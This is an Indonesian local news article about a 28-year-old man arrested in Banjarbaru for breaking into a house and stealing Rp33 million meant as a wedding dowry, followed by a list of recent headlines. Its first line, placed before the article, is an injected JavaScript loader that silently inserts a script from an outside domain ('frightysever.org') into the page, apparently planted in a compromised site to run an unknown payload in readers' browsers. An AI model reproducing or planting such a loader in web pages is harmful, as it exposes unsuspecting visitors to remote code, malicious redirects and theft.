(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Bobol Rumah Curi Uang Mahar, Pemuda 28 Tahun Akhirnya Diringkus Polisi


KANALKALIMANTAN.COM, BANJARBARU – Polsek Banjarbaru Utara meringkus pelaku pembobolan rumah di Komplek Balitan IV Kelurahan Loktabat Utara, Kota Banjarbaru.

Diketahui pembobolan terjadi pada Minggu (3/12/2023), seorang lelaki berinisial S (28) beraksi mencuri sejumlah uang dengan cara membobol rumah milik J di siang hari bolong sekitar pukul 12.00 Wita.

Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono mengatakan, pelaku mengambil uang milik J sebanyak Rp33 juta. Uang tunai itu kemudian dipakai untuk membeli barang mewah bermerk.

Baca juga: Melawan Pengedar dan Pecandu Narkoba di Banjarbaru dengan Kelurahan Bersinar

Rumah yang didiami J dibobol oleh S. Foto: polsekbanjarbaruutara

“Pelaku S dengan membongkar rumah korban mengambil uang Rp33 juta yang dibelikan barang berupa selembar baju bermerk Juice Ematic dan selembar bermerk Blast, sepasang sepatu Nike,” ungkap Kompol Yopie Andri Haryono, Jumat (15/12/2023).

Tak hanya itu, pelaku juga menggunakan uang tersebut untuk pergi ke Palangkaraya, Kalimantan Tengah dengan niat bersenang-senang.

Belakangan diketahui uang yang dicuri S, merupakan uang yang direncanakan J untuk digunakan sebagai uang mahar pernikahan.

Baca juga:Luncurkan “LARI SAY”, Disdukcapil Banjarbaru Permudah Urusan Hanya Sehari, Tinggal Klik!

S berhasil diamankan Unit Opsnal Polsek Banjarbaru Utara yang melakukan lidik di kediaman pelaku yakni di Jalan Bina Murni Kelurahan Loktabat Utara.

“Hari Rabu 13 Desember 2023 sekitar pukul 18.45 Wita dilakukan penangkapan terhadap pelaku S,” kata Kapolsek Banjarbaru Utara.

Dari hasil introgasi, pelaku S mengakui telah mencuri uang mahar milik J. Pelaku nekat memasuki rumah J dengan cara mencongkel jendela, kemudian masuk kamar dan mengambil uang tunai yang ada di lemari.

Baca juga: 18 Perahu Sampah Bermesin Siap Operasi di Sungai Martapura

Barang bukti yang berhasil diamankan petugas ialah selembar baju bermerk Juice Ematic berwarna marun dan selembar bermerk Blast berwarna orange, serta satu pasang sepatu Nike.

“Kejadian pencurian baru dilaporkan pada 10 Desember 2023, dan saat ini S bersama barang bukti bermerk yang disebutkan sudah ditahan,” pungkasnya.

Pelaku S diancam hukuman kejahatan pencurian dengan pemberataan sebagaimana dimaksud dalam Pasal 363 Kitan Undang-Undang Hukum Pidana. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

13 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

14 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

17 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

18 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

19 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

21 jam ago

This website uses cookies.